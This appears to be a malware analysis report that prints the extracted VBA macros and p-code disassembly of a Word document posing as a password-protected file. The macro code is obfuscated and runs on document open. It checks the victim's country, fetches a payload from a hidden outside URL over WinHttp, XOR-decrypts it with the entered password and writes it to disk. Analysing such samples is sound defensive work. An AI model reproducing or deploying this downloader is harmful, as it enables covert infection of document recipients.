Set zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("ttHpnRieWq.upetsttH.n5i.W1")))))))): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Open zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("TGE")))), zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("nhfotictgpp.i:k//r"))))))): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Send
zzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.ResponseText
zzzzzzzzzzzzz = Split(Split(zzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(":orouyd  CtCn e"))))))))(1), vbLf)(0)
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 0
If StrReverse(zzzzzzzzzzzzz) <> "RK" And InStr(zzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("BKLUOIPRCEE RAO ,F")))))))) = 0 Then zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 65
End Function
Private Function internal_decrypt_function() As Byte()

        '[INLINE P-CODE]
                                                                                                                                                    Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Object, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As String
                                                                                                                                                    Set zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("ttHpnRieWq.upetsttH.n5i.W1"))))))))
                                                                                                                                                    zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = "4s2lx9tb9n.7aUl48=8479-538eHlto/bzec.u2/60t3sr9tu5_ebs/u/4e157-0802p3wm/odon6cp7s=5h2gs3ml3ol3dvpo9id060824er1d_1/alc9oeapi6t55/c_u6t.ccmen_x0-6527-bs6drAd7hc7d?2o_2p46:2ry6nifec&oT_c01113"
                                                                                                                                                    zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Open zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("TGE")))), zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz)))))))
                                                                                                                                                    zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Send
                                                                                                                                                    internal_decrypt_function = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.ResponseBody
End Function
Public Sub decryptPage(pw As String)
    
    Dim mht As New Class1
    Dim hashRev As String
    Dim i As Long
    hashRev = mht.HashBytes(StrConv(StrReverse(pw), vbFromUnicode))
    
    Dim k() As Byte
    ReDim k(Len(hashRev) / 2 - 1)
    
    For i = 0 To UBound(k)
        k(i) = CByte("&H" & Mid(hashRev, 2 * i + 1, 2))
    Next
    
    Dim dec() As Byte
    dec = internal_decrypt_function()
    For i = 0 To UBound(dec)
        dec(i) = dec(i) Xor k(i Mod (UBound(k) + 1)) Xor Asc(Mid(pw, (i Mod Len(pw)) + 1, 1))
    Next
    
    Dim path As String
    path = ThisDocument.path & "\" & "contents.png"
    Open path For Binary Access Write As #1
        Put #1, , dec
    Close #1
    Dim shp
    
    ThisDocument.Shapes(1).Delete
    ThisDocument.Select
    Set shp = Selection.InlineShapes.AddPicture(FileName:=path, LinkToFile:=False, SaveWithDocument:=True).ConvertToShape
    With shp
        .WrapFormat.Type = wdWrapTight
        .RelativeHorizontalPosition = wdRelativeHorizontalPositionPage
        .RelativeVerticalPosition = wdRelativeVerticalPositionPage
        .Top = wdShapeCenter
        .Left = wdShapeCenter
        .Select
    End With
End Sub


' Processing file: /tmp/qstore_gegemj9k
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 266024 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitStr 0x0020 "a8477ccf0c408829ae7c82ea70c2fad8"
' 	VarDefn _B_var_prviate (As String)
' Line #1:
' 	Dim (Private) 
' 	VarDefn Terminate (New As txtpas)
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub Value())
' Line #5:
' Line #6:
' 	OnError (Resume Next) 
' Line #7:
' 	Dim 
' 	VarDefn res (As Byte)
' Line #8:
' 	Dim 
' 	VarDefn _B_var_String (As String)
' Line #9:
' 	Ld TextBox1 
' 	MemLd Text 
' 	Ld StrConv 
' 	ArgsLd baFileContent 0x0002 
' 	St res 
' Line #10:
' 	Ld res 
' 	Ld Terminate 
' 	ArgsMemLd LOF 0x0001 
' 	St _B_var_String 
' Line #11:
' Line #12:
' 	Ld _B_var_String 
' 	Ld _B_var_prviate 
' 	Ld hash_en 
' 	FnStrComp3 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #13:
' 	LitStr 0x0011 "Invalid Password."
' 	Ld m________________________________________________________________ 
' 	LitStr 0x0005 "Error"
' 	ArgsCall MsgBox 0x0003 
' Line #14:
' 	ExitSub 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	Ld TextBox1 
' 	MemSt Width 
' Line #18:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	Ld TextBox1 
' 	MemSt vbCritical 
' Line #19:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	Ld CommandButton1 
' 	MemSt Width 
' Line #20:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	Ld CommandButton1 
' 	MemSt vbCritical 
' Line #21:
' Line #22:
' 	Dim 
' 	VarDefn _B_var_set (As Object)
' Line #23:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	ArgsMemLd Height 0x0001 
' 	MemLd Item 
' 	MemLd TextFrame 
' 	Set _B_var_set 
' Line #24:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	LitDI2 0x0002 
' 	Ld _B_var_set 
' 	MemLd _B_var_oo 
' 	ArgsMemLd Shapes 0x0001 
' 	MemSt Width 
' Line #25:
' 	LitR8 0x0000 0x0000 0x0000 0x3FE8 
' 	LitDI2 0x0002 
' 	Ld _B_var_set 
' 	MemLd _B_var_oo 
' 	ArgsMemLd Shapes 0x0001 
' 	MemSt vbCritical 
' Line #26:
' Line #27:
' 	Dim 
' 	VarDefn decryptPage (As String)
' Line #28:
' 	Ld TextBox1 
' 	MemLd Text 
' 	St decryptPage 
' Line #29:
' 	Ld InlineShapes 
' 	Ld InlineShapes 
' 	Concat 
' 	Ld InlineShapes 
' 	Concat 
' 	Ld InlineShapes 
' 	Concat 
' 	Ld InlineShapes 
' 	Concat 
' 	LitStr 0x0015 "문서 암호화 해제중..."
' 	Concat 
' 	St _B_var_set 
' Line #30:
' Line #31:
' 	ArgsCall DoEvents 0x0000 
' Line #32:
' 	Ld decryptPage 
' 	ArgsCall Self 0x0001 
' Line #33:
' 	EndSub 
' Line #34:
' Line #35:
' 	FuncDefn (Private Sub Document_Open())
' Line #36:
' 	OnError (Resume Next) 
' Line #37:
' Line #38:
' 	LitVarSpecial (True)
' 	Ld TextBox1 
' 	MemSt txt 
' Line #39:
' 	LitVarSpecial (True)
' 	Ld CommandButton1 
' 	MemSt txt 
' Line #40:
' Line #41:
' 	LitStr 0x0000 ""
' 	Ld TextBox1 
' 	MemSt Text 
' Line #42:
' Line #43:
' 	Ld Terminate 
' 	ArgsMemCall vbTextCompare 0x0000 
' Line #44:
' Line #45:
' 	LitR8 0xCCCD 0xCCCC 0xACCC 0x405C 
' 	Ld TextBox1 
' 	MemSt Width 
' Line #46:
' 	LitR8 0x999A 0x9999 0x9999 0x4036 
' 	Ld TextBox1 
' 	MemSt vbCritical 
' Line #47:
' 	LitR8 0x3333 0x3333 0xF333 0x4050 
' 	Ld CommandButton1 
' 	MemSt Width 
' Line #48:
' 	LitR8 0x999A 0x9999 0x9999 0x4036 
' 	Ld CommandButton1 
' 	MemSt vbCritical 
' Line #49:
' 	EndSub 
' Line #50:
' 	FuncDefn (Private Sub vbCrLf())
' Line #51:
' 	OnError (Resume Next) 
' Line #52:
' 	Ld IMEMode 
' 	Ld TextBox1 
' 	MemSt GotFocus 
' Line #53:
' 	EndSub 
' Line #54:
' Line #55:
' 	FuncDefn (Private Sub ReturnInteger(ByVal txtPassword_KeyUp As , ByVal KeyCode As ))
' Line #56:
' 	OnError (Resume Next) 
' Line #57:
' 	Ld txtPassword_KeyUp 
' 	LitDI2 0x000D 
' 	Eq 
' 	IfBlock 
' Line #58:
' 	ArgsCall Value 0x0000 
' Line #59:
' 	EndIfBlock 
' Line #60:
' 	EndSub 
' Macros/VBA/Class1 - 18598 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x001A "----- Private Consts -----"
' Line #4:
' Line #5:
' 	Dim (Private Const) 
' 	LitDI2 0x0000 
' 	VarDefn Class1 (As Long) 0x0024
' Line #6:
' 	Dim (Private Const) 
' 	LitDI4 0x8000 0x0000 
' 	VarDefn ALG_TYPE_ANY (As Long) 0x0024
' Line #7:
' 	Dim (Private Const) 
' 	LitDI2 0x0003 
' 	VarDefn ALG_CLASS_HASH (As Long) 0x0024
' Line #8:
' 	Dim (Private Const) 
' 	Ld ALG_TYPE_ANY 
' 	Ld Class1 
' 	Or 
' 	Ld ALG_CLASS_HASH 
' 	Or 
' 	VarDefn ALG_SID_MD5 (As Long) 0x0024
' Line #9:
' Line #10:
' 	Dim (Private Const) 
' 	LitDI2 0x0001 
' 	VarDefn CALG_MD5 (As Long) 0x0024
' Line #11:
' 	Dim (Private Const) 
' 	LitHI4 0x0000 0xF000 
' 	VarDefn PROV_RSA_FULL (As Long) 0x0024
' Line #12:
' 	LineCont 0x0004 06 00 04 00
' 	Dim (Private Const) 
' 	LitStr 0x002A "Microsoft Base Cryptographic Provider v1.0"
' 	VarDefn Class (As String) 0x0024
' Line #13:
' Line #14:
' 	Dim (Private Const) 
' 	LitDI2 0x0002 
' 	VarDefn MS_DEFAULT_PROVIDER (As Long) 0x0024
' Line #15:
' 	Dim (Private Const) 
' 	LitDI2 0x0004 
' 	VarDefn HP_HASHVAL (As Long) 0x0024
' Line #16:
' Line #17:
' 	QuoteRem 0x0000 0x001B "----- Private Defines -----"
' Line #18:
' Line #19:
' 	LineCont 0x0014 09 00 04 00 0E 00 04 00 13 00 04 00 18 00 04 00 1D 00 04 00
' 	FuncDefn (Private Declare Function HP_HASHSIZE Lib "dwProvType" (ByRef CryptAcquireContext As Long, ByVal phProv As String, ByVal pszContainer As String, ByVal pszProvider As Long, ByVal dwFlags As Long) As Long)
' 	QuoteRem 0x0023 0x0036 "TRUE (<> 0) = success.  See Err.LastDLLError if FALSE."
' Line #20:
' Line #21:
' 	LineCont 0x0014 07 00 04 00 0C 00 04 00 11 00 04 00 16 00 04 00 1B 00 04 00
' 	FuncDefn (Private Declare Function advapi32 Lib "dwProvType" (ByVal CryptCreateHash As Long, ByVal hProv As Long, ByVal algid As Long, ByVal dwFlags As Long, ByRef hKey As Long) As Long)
' 	QuoteRem 0x0022 0x0036 "TRUE (<> 0) = success.  See Err.LastDLLError if FALSE."
' Line #22:
' Line #23:
' 	LineCont 0x0004 07 00 04 00
' 	FuncDefn (Private Declare Function phHash Lib "dwProvType" (ByVal CryptDestroyHash As Long) As Long)
' 	QuoteRem 0x0021 0x0036 "TRUE (<> 0) = success.  See Err.LastDLLError if FALSE."
' Line #24:
' Line #25:
' 	LineCont 0x0014 07 00 04 00 0C 00 04 00 11 00 04 00 16 00 04 00 1B 00 04 00
' 	FuncDefn (Private Declare Function hHash Lib "dwProvType" (ByVal CryptDestroyHash As Long, ByVal CryptGetHashParam As Long, ByRef dwParam As , ByRef pbData As Long, ByVal dwFlags As Long) As Long)
' Line #26:
' Line #27:
' 	LineCont 0x0010 07 00 04 00 0C 00 04 00 11 00 04 00 16 00 04 00
' 	FuncDefn (Private Declare Function pdwDataLen Lib "dwProvType" (ByVal CryptDestroyHash As Long, ByRef dwParam As , ByVal CryptHashData As Long, ByVal dwFlags As Long) As Long)
' Line #28:
' Line #29:
' 	LineCont 0x0008 07 00 04 00 0C 00 04 00
' 	FuncDefn (Private Declare Function dwDataLen Lib "dwProvType" (ByVal CryptCreateHash As Long, ByVal dwFlags As Long) As Long)
' 	QuoteRem 0x0023 0x0036 "TRUE (<> 0) = success.  See Err.LastDLLError if FALSE."
' Line #30:
' Line #31:
' 	QuoteRem 0x0000 0x0018 "----- Private Data -----"
' Line #32:
' Line #33:
' 	Dim (Private) 
' 	VarDefn CryptReleaseContext (As Long)
' 	QuoteRem 0x0018 0x0013 "Hash object handle."
' Line #34:
' 	Dim (Private) 
' 	VarDefn m_hHash (As Long)
' 	QuoteRem 0x001C 0x0026 "Cryptographic Service Provider handle."
' Line #35:
' Line #36:
' Line #37:
' 	QuoteRem 0x0000 0x001B "----- Private Methods -----"
' Line #38:
' Line #39:
' 	FuncDefn (Private Sub m_hProvider(ByRef HashBlock As ))
' Line #40:
' 	LineCont 0x000C 05 00 15 00 0D 00 15 00 19 00 15 00
' 	Ld CryptReleaseContext 
' 	Ld HashBlock 
' 	FnLBound 0x0000 
' 	ArgsLd HashBlock 0x0001 
' 	Ld HashBlock 
' 	FnUBound 0x0000 
…

Open this report in the interactive analyzer, or submit your own file for analysis.